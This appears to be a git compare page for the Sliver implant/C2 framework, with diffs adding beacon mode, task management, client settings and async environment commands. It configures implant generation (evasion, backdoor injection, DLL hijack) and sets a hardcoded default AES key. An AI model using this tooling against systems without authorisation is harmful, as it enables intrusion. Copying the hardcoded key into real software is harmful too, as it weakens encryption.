Compare commits

...
Author SHA1 Message Date
a3sroot 43548ad4b2 Merged pr #509 2021-09-11 19:54:29 -05:00
moloch-- 09358666a1 Fix null http session bug and nil ptr in sessions cmd 2021-09-11 19:14:27 -05:00
moloch-- 213ad330c5 Fixed variable shadowing issue when executing multiple tasks 2021-09-11 15:19:25 -05:00
moloch-- f7d7bdc677 Implemented async versions of all fs commands 2021-09-11 13:23:29 -05:00
moloch-- c292ac4b28 The ls command works round trip 2021-09-11 10:43:59 -05:00
moloch-- f576c138c9 Added task counts and pb descriptions 2021-09-11 09:16:47 -05:00
moloch-- 216054e90c Implemented task rpc's 2021-09-10 18:48:30 -05:00
moloch-- 62e311fb6f Beacons can return results 2021-09-10 16:25:31 -05:00
moloch-- 90de32b6f2 Added additional settings 2021-09-10 13:27:13 -05:00
moloch-- b8b20711fe Implemented async task creation 2021-09-10 09:37:38 -05:00
moloch-- f87582462d Re-implemented UseCmd args 2021-09-10 07:58:28 -05:00
moloch-- 87fba59c57 Implemented client settings and customizable tables 2021-09-09 18:22:32 -05:00
moloch-- ab58a67df4 converted beacons cmd to table writer 2021-09-09 17:42:57 -05:00
moloch-- 424db7bdca Added command/settings and porting tables to use lib 2021-09-09 16:29:28 -05:00
moloch-- cec1451dec Do not export active session 2021-09-09 11:19:33 -05:00
moloch-- e79e3daf7d Updated use cmd 2021-09-07 18:11:52 -05:00
moloch-- 1a632f48ff Initial refactor of client code to support beacons and sessions 2021-09-07 17:43:35 -05:00
moloch-- 83adb36bbd Beacon rm tweaks 2021-09-06 20:43:06 -05:00
moloch-- 686452a65e Implemented rm beacon cmd 2021-09-06 20:36:08 -05:00
moloch-- e436e9ca89 Outlined beacon tasks 2021-09-06 19:49:05 -05:00
moloch-- db29281233 Implemented beacons cmd 2021-09-06 19:01:16 -05:00
moloch-- 65cea9eeb2 Wired handler to db 2021-09-06 17:47:46 -05:00
moloch-- 06a44f980b Basic beacon compiles 2021-09-06 15:06:08 -05:00
moloch-- 952f22583e Improvements to handling of poll timeout value 2021-09-06 11:14:43 -05:00
moloch-- 5429c8d45a Fix http client desync issue 2021-09-06 10:06:19 -05:00
moloch-- 9e8bfb62d7 Improvements to time handling, configurable client poll timeout 2021-09-06 09:55:47 -05:00
moloch-- 45ef2a27a9 Merged burned/health columns 2021-09-05 16:16:12 -05:00
moloch-- 93a1492a05 Fix time, moved more to int64 2021-09-05 14:05:40 -05:00
moloch-- b554b49b42 All time fields are int64 2021-09-05 12:25:10 -05:00
moloch-- e7d8495cb0 Server compiles 2021-09-05 11:16:50 -05:00
moloch-- 2ebb2734bf Merge stage, wip on server-side beacon support 2021-09-05 09:52:32 -05:00
rkervella 515b927791 Set default AES key 2021-09-05 09:56:17 +02:00
rkervella 35489e974f Rename operator to prelude-operator 2021-09-05 09:47:02 +02:00
rkervella e2cf688044 Merge branch 'prelude-operator' into stage 2021-09-05 09:45:55 +02:00
moloch-- 79772297bc wip on deticated beacon mode 2021-09-04 19:00:11 -05:00
moloch-- 7d4de43559 wip on deticated beacon mode 2021-09-04 17:39:08 -05:00
moloch-- 7df290386e wip on deticated beacon mode 2021-09-04 16:50:14 -05:00
moloch-- fc5673b33e Added fallback host uuid method 2021-09-04 14:10:07 -05:00
moloch-- 31a53a4cba Fix named pipe / unit tests 2021-09-04 12:59:26 -05:00
moloch-- 8967bcf35d Remove duplicate GetSpecialHandlers() 2021-09-04 12:27:34 -05:00
moloch-- 6d4b28731e Refactoring implant transports, and handlers 2021-09-04 12:11:16 -05:00
moloch-- 235201f701 Refactoring implant transports 2021-09-04 09:34:45 -05:00
182 changed files with 9449 additions and 5041 deletions

No files matched your search

+1
View File
@@ -1,5 +1,6 @@
/.vscode/*
/.devcontainer
/.idea
/Dockerfile.*
/*.sdk.tar.xz
+4
View File
@@ -26,6 +26,7 @@ import (
"os"
"os/user"
"path"
"path/filepath"
"strings"
ver "github.com/bishopfox/sliver/client/version"
@@ -101,6 +102,9 @@ func Setup(force bool, echo bool) {
}
saveAssetVersion(appDir)
}
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
SaveSettings(nil)
}
}
func setupCoffLoaderExt(appDir string) error {
+73
View File
@@ -0,0 +1,73 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"io/ioutil"
"path/filepath"
)
const (
settingsFileName = "tui-settings.json"
)
// ClientSettings - Client JSON config
type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
}
// LoadSettings - Load the client settings from disk
func LoadSettings() (*ClientSettings, error) {
rootDir, _ := filepath.Abs(GetRootAppDir())
data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
if err != nil {
return defaultSettings(), err
}
settings := defaultSettings()
err = json.Unmarshal(data, settings)
if err != nil {
return defaultSettings(), err
}
return settings, nil
}
func defaultSettings() *ClientSettings {
return &ClientSettings{
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
}
}
// SaveSettings - Save the current settings to disk
func SaveSettings(settings *ClientSettings) error {
rootDir, _ := filepath.Abs(GetRootAppDir())
if settings == nil {
settings = defaultSettings()
}
data, err := json.MarshalIndent(settings, "", " ")
if err != nil {
return err
}
err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
return err
}
+2 -2
View File
@@ -29,7 +29,7 @@ import (
// BackdoorCmd - Command to inject implant code into an existing binary
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -48,7 +48,7 @@ func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
FilePath: remoteFilePath,
ProfileName: profileName,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
+4
View File
@@ -0,0 +1,4 @@
Beacons
========
This package implements the beacons command, which can be used to list and interact with beacons.
+103
View File
@@ -0,0 +1,103 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// BeaconsCmd - Display/interact with beacons
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintBeacons(beacons.Beacons, con)
}
// BeaconsRmCmd - Display/interact with beacons
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon, err := SelectBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Tasks",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Next Check-in",
})
for _, beacon := range beacons {
next := time.Unix(beacon.NextCheckin, 0).Format(time.RFC1123)
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, next, console.Normal)
}
tw.AppendRow(table.Row{
strings.Split(beacon.ID, "-")[0],
beacon.Name,
fmt.Sprintf("%d / %d", beacon.TasksCountCompleted, beacon.TasksCount),
beacon.Transport,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
time.Unix(beacon.LastCheckin, 0).Format(time.RFC1123),
next,
})
}
con.Printf("%s\n", tw.Render())
}
+99
View File
@@ -0,0 +1,99 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
var (
// ErrNoBeacons - No sessions available
ErrNoBeacons = errors.New("no beacons")
// ErrNoSelection - No selection made
ErrNoSelection = errors.New("no selection")
)
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
beaconsMap := map[string]*clientpb.Beacon{}
for _, beacon := range beacons.Beacons {
beaconsMap[beacon.ID] = beacon
}
keys := []string{}
for beaconID := range beaconsMap {
keys = append(keys, beaconID)
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
beacon := beaconsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
beacon.ID,
beacon.Name,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a beacon:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> session
for index, option := range options {
if option == selected {
return beaconsMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
+243 -33
View File
@@ -38,6 +38,7 @@ import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
@@ -52,18 +53,21 @@ import (
"github.com/bishopfox/sliver/client/command/macros"
"github.com/bishopfox/sliver/client/command/monitor"
"github.com/bishopfox/sliver/client/command/network"
"github.com/bishopfox/sliver/client/command/operator"
"github.com/bishopfox/sliver/client/command/operators"
"github.com/bishopfox/sliver/client/command/pivots"
"github.com/bishopfox/sliver/client/command/portfwd"
operator "github.com/bishopfox/sliver/client/command/prelude-operator"
"github.com/bishopfox/sliver/client/command/privilege"
"github.com/bishopfox/sliver/client/command/processes"
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/command/shell"
"github.com/bishopfox/sliver/client/command/tasks"
"github.com/bishopfox/sliver/client/command/update"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/command/websites"
"github.com/bishopfox/sliver/client/command/wireguard"
"github.com/bishopfox/sliver/client/console"
@@ -291,9 +295,9 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Operators ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.PlayersStr,
Name: consts.OperatorsStr,
Help: "Manage operators",
LongHelp: help.GetHelpFor([]string{consts.PlayersStr}),
LongHelp: help.GetHelpFor([]string{consts.OperatorsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -382,25 +386,6 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.UseStr,
Help: "Switch the active session",
LongHelp: help.GetHelpFor([]string{consts.UseStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("session", "session ID or name", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.UseCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.KillStr,
Help: "Kill a session",
@@ -419,6 +404,145 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
// [ Tasks ] --------------------------------------------------------------
tasksCmd := &grumble.Command{
Name: consts.TasksStr,
Help: "Beacon task management",
LongHelp: help.GetHelpFor([]string{consts.TasksStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
tasks.TasksCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
con.App.AddCommand(tasksCmd)
// [ Use ] --------------------------------------------------------------
useCmd := &grumble.Command{
Name: consts.UseStr,
Help: "Switch the active session or beacon",
LongHelp: help.GetHelpFor([]string{consts.UseStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("id", "beacon or session ID", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
use.UseCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
useCmd.AddCommand(&grumble.Command{
Name: consts.SessionsStr,
Help: "Switch the active session",
LongHelp: help.GetHelpFor([]string{consts.UseStr, consts.SessionsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
},
Run: func(ctx *grumble.Context) error {
con.Println()
use.UseSessionCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
useCmd.AddCommand(&grumble.Command{
Name: consts.BeaconsStr,
Help: "Switch the active beacon",
LongHelp: help.GetHelpFor([]string{consts.UseStr, consts.BeaconsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
},
Run: func(ctx *grumble.Context) error {
con.Println()
use.UseBeaconCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(useCmd)
// [ Settings ] --------------------------------------------------------------
settingsCmd := &grumble.Command{
Name: consts.SettingsStr,
Help: "Manage client settings",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
settingsCmd.AddCommand(&grumble.Command{
Name: consts.SaveStr,
Help: "Save the current settings to disk",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, consts.SaveStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsSaveCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: consts.TablesStr,
Help: "Modify tables setting (style)",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, consts.TablesStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsTablesCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "beacon-autoresults",
Help: "Automatically display beacon task results when completed",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "beacon-autoresults"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsBeaconsAutoResultCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "autoadult",
Help: "Automatically accept OPSEC warnings",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "autoadult"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsAutoAdultCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(settingsCmd)
// [ Info ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
@@ -793,13 +917,13 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("N", "name", "", "agent name")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("b", "skip-symbols", false, "skip symbol obfuscation")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("c", "canary", "", "canary domain(s)")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("H", "http", "", "http(s) connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
@@ -808,7 +932,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll", generate.DefaultPoll, "attempt to poll every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
@@ -818,7 +942,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -831,6 +954,59 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
}
generateCmd.AddCommand(&grumble.Command{
Name: consts.BeaconStr,
Help: "Generate a beacon binary",
LongHelp: help.GetHelpFor([]string{consts.GenerateStr, consts.BeaconStr}),
Flags: func(f *grumble.Flags) {
f.Int64("D", "days", 0, "beacon interval days")
f.Int64("H", "hours", 0, "beacon interval hours")
f.Int64("M", "minutes", 15, "beacon interval minutes")
f.Int64("S", "seconds", 0, "beacon interval seconds")
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
// Generate flags
f.String("o", "os", "windows", "operating system")
f.String("a", "arch", "amd64", "cpu architecture")
f.String("N", "name", "", "agent name")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("c", "canary", "", "canary domain(s)")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
generate.GenerateBeaconCmd(ctx, con)
con.Println()
return nil
},
})
generateCmd.AddCommand(&grumble.Command{
Name: consts.StagerStr,
Help: "Generate a implant stager using MSF",
@@ -950,7 +1126,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.Int("P", "poll", generate.DefaultPoll, "attempt to poll every n second(s)")
f.Int("P", "poll", generate.DefaultPollTimeout, "attempt to poll every n second(s)")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
@@ -1028,9 +1204,9 @@ func BindCommands(con *console.SliverConsoleClient) {
con.App.AddCommand(implantBuildsCmd)
con.App.AddCommand(&grumble.Command{
Name: consts.ListCanariesStr,
Name: consts.CanariesStr,
Help: "List previously generated canaries",
LongHelp: help.GetHelpFor([]string{consts.ListCanariesStr}),
LongHelp: help.GetHelpFor([]string{consts.CanariesStr}),
Flags: func(f *grumble.Flags) {
f.Bool("b", "burned", false, "show only triggered/burned canaries")
@@ -1545,6 +1721,40 @@ func BindCommands(con *console.SliverConsoleClient) {
},
})
// [ Beacons ] ---------------------------------------------
beaconsCmd := &grumble.Command{
Name: consts.BeaconsStr,
Help: "Manage beacons",
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
beacons.BeaconsCmd(ctx, con)
con.Println()
return nil
},
}
beaconsCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a beacon",
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr, consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
beacons.BeaconsRmCmd(ctx, con)
con.Println()
return nil
},
})
con.App.AddCommand(beaconsCmd)
// [ Macros ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
@@ -2347,9 +2557,9 @@ func BindCommands(con *console.SliverConsoleClient) {
con.App.AddCommand(extensionCmd)
// [ Prelude's Operator ] ------------------------------------------------------------
operatorCmd := &grumble.Command{
Name: consts.OperatorStr,
Name: consts.PreludeOperatorStr,
Help: "Manage connection to Prelude's Operator",
LongHelp: help.GetHelpFor([]string{consts.OperatorStr}),
LongHelp: help.GetHelpFor([]string{consts.PreludeOperatorStr}),
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -2361,7 +2571,7 @@ func BindCommands(con *console.SliverConsoleClient) {
operatorCmd.AddCommand(&grumble.Command{
Name: consts.ConnectStr,
Help: "Connect with Prelude's Operator",
LongHelp: help.GetHelpFor([]string{consts.OperatorStr, consts.ConnectStr}),
LongHelp: help.GetHelpFor([]string{consts.PreludeOperatorStr, consts.ConnectStr}),
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -2374,7 +2584,7 @@ func BindCommands(con *console.SliverConsoleClient) {
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
f.String("a", "aes-key", "", "AES key for communication encryption")
f.String("a", "aes-key", "abcdefghijklmnopqrstuvwxyz012345", "AES key for communication encryption")
f.String("r", "range", "sliver", "Agents range")
},
})
+2 -2
View File
@@ -39,7 +39,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
targetDLLData []byte
err error
)
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -83,7 +83,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
TargetLocation: targetPath,
ReferenceDLL: localRefData,
TargetDLL: targetDLLData,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
ProfileName: profileName,
})
ctrl <- true
+26 -4
View File
@@ -22,28 +22,50 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvGetCmd - Get a remote environment variable
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
name := ctx.Args.String("name")
envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
Name: name,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintGetEnvInfo(envInfo, con)
})
con.PrintAsyncResponse(envInfo.Response)
} else {
PrintGetEnvInfo(envInfo, con)
}
}
// PrintGetEnvInfo - Print the results of the env get command
func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
}
for _, envVar := range envInfo.Variables {
con.Printf("%s=%s\n", envVar.Key, envVar.Value)
}
+24 -3
View File
@@ -22,15 +22,17 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvSetCmd - Set a remote environment variable
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -46,12 +48,31 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Key: name,
Value: value,
},
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSetEnvInfo(name, value, envInfo, con)
})
con.PrintAsyncResponse(envInfo.Response)
} else {
PrintSetEnvInfo(name, value, envInfo, con)
}
}
// PrintSetEnvInfo - Print the set environment info
func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
+25 -5
View File
@@ -22,14 +22,16 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvUnsetCmd - Unset a remote environment variable
func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
